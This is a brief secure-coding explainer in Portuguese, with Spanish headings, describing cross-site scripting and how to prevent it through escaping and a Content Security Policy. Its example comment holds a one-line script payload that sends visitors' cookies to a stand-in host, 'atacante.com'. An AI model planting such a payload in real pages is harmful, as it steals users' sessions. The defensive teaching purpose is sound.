Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.
